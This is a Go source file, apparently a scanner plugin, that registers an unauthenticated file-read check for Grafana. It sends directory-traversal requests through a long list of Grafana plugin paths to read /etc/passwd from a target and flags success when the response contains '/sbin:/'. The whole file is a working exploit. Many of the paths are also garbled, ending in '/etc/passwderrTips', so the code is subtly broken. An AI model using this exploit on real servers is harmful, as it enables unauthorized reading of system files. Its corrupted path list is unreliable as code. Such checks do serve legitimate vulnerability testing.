package exploits

import (
	"fmt"
	"net"
	"net/http"
	"prismx_cli/core/models"
	"prismx_cli/utils/netUtils"
	"strconv"
	"strings"
	"time"
)

// init 注册插件插件
func init() {
	path := []string{
		"/public/plugins/alertGroups/../../../../../../../../etc/passwd",
		"/public/plugins/alertlist/../../../../../../../../etc/passwd",
		"/public/plugins/alertmanager/../../../../../../../../etc/passwd",
		"/public/plugins/annolist/../../../../../../../../etc/passwd",
		"/public/plugins/barchart/../../../../../../../../etc/passwd",
		"/public/plugins/bargauge/../../../../../../../../etc/passwd",
		"/public/plugins/canvas/../../../../../../../../etc/passwd",
		"/public/plugins/cloudwatch/../../../../../../../../etc/passwd",
		"/public/plugins/dashboard/../../../../../../../../etc/passwd",
		"/public/plugins/dashlist/../../../../../../../../etc/passwd",
		"/public/plugins/debug/../../../../../../../../etc/passwd",
		"/public/plugins/elasticsearch/../../../../../../../../etc/passwd",
		"/public/plugins/gauge/../../../../../../../../etc/passwd",
		"/public/plugins/geomap/../../../../../../../../etc/passwd",
		"/public/plugins/gettingstarted/../../../../../../../../etc/passwd",
		"/public/plugins/grafana-azure-monitor-datasource/../../../../../../../../etc/passwd",
		"/public/plugins/grafana/../../../../../../../../etc/passwderrTips",
		"/public/plugins/graph/../../../../../../../../etc/passwderrTips",
		"/public/plugins/graphite/../../../../../../../../etc/passwderrTips",
		"/public/plugins/heatmap/../../../../../../../../etc/passwderrTips",
		"/public/plugins/histogram/../../../../../../../../etc/passwderrTips",
		"/public/plugins/influxdb/../../../../../../../../etc/passwderrTips",
		"/public/plugins/jaeger/../../../../../../../../etc/passwderrTips",
		"/public/plugins/live/../../../../../../../../etc/passwderrTips",
		"/public/plugins/logs/../../../../../../../../etc/passwderrTips",
		"/public/plugins/loki/../../../../../../../../etc/passwderrTips",
		"/public/plugins/mixed/../../../../../../../../etc/passwderrTips",
		"/public/plugins/mssql/../../../../../../../../etc/passwderrTips",
		"/public/plugins/mysql/../../../../../../../../etc/passwderrTips",
		"/public/plugins/news/../../../../../../../../etc/passwderrTips",
		"/public/plugins/nodeGraph/../../../../../../../../etc/passwderrTips",
		"/public/plugins/opentsdb/../../../../../../../../etc/passwderrTips",
		"/public/plugins/piechart/../../../../../../../../etc/passwderrTips",
		"/public/plugins/pluginlist/../../../../../../../../etc/passwderrTips",
		"/public/plugins/postgres/../../../../../../../../etc/passwderrTips",
		"/public/plugins/prometheus/../../../../../../../../etc/passwderrTips",
		"/public/plugins/stat/../../../../../../../../etc/passwderrTips",
		"/public/plugins/state-timeline/../../../../../../../../etc/passwderrTips",
		"/public/plugins/status-history/../../../../../../../../etc/passwderrTips",
		"/public/plugins/table-old/../../../../../../../../etc/passwderrTips",
		"/public/plugins/table/../../../../../../../../etc/passwderrTips",
		"/public/plugins/tempo/../../../../../../../../etc/passwderrTips",
		"/public/plugins/testdata/../../../../../../../../etc/passwderrTips",
		"/public/plugins/text/../../../../../../../../etc/passwderrTips",
		"/public/plugins/timeseries/../../../../../../../../etc/passwderrTips",
		"/public/plugins/welcome/../../../../../../../../etc/passwderrTips",
		"/public/plugins/xychart/../../../../../../../../etc/passwderrTips",
		"/public/plugins/zipkin/../../../../../../../../etc/passwderrTips"}
	models.Register(models.AppVulInfo{
		App:   "Grafana",
		Query: "app:\"Grafana\"",
		Meta: models.VulMeta{
			Name:        "Grafana 未授权任意文件读取漏洞",
			Tags:        []string{"file_read"},
			Author:      "一曲成殇",
			Description: "Grafana是一个跨平台、开源的数据可视化网络应用程序平台。用户配置连接的数据源之后，Grafana可以在网络浏览器里显示数据图表和警告。Grafana 存在未授权任意文件读取漏洞，攻击者在未经身份验证的情况下可通过该漏洞读取主机上的任意文件。",
			Homepage:    "https://grafana.com/",
			Level:       4,
			References:  "https://mp.weixin.qq.com/s/3F9C-r57YxrrVGjU6sgSQQ",
			Solution:    "官网更新补丁：https://grafana.com/",
			CreateAt:    "2021-12-07",
			Available:   false,
			Steps: models.StepsMeta{VerifySteps: models.VerifySteps{VerifyGo: func(scheme, ip string, port int, duration time.Duration) (result models.VulResult) {
				url := fmt.Sprintf("%s://%s", scheme, net.JoinHostPort(ip, strconv.Itoa(port)))
				for _, item := range path {
					req, err := http.NewRequest("GET", url+item, nil)
					if err != nil {
						return
					}
					resp, err := netUtils.SendHttp(req, duration, true)
					if err == nil && strings.Contains(string(resp.Body), "/sbin:/") {
						if resp.Other.Body != nil {
							resp.Other.Body.Close()
						}
						result.State = true
						result.Response = resp.Header + string(resp.Body)
						result.Request = resp.RequestRaw
						break
					}
				}
				return
			}}},
		},
	})
}
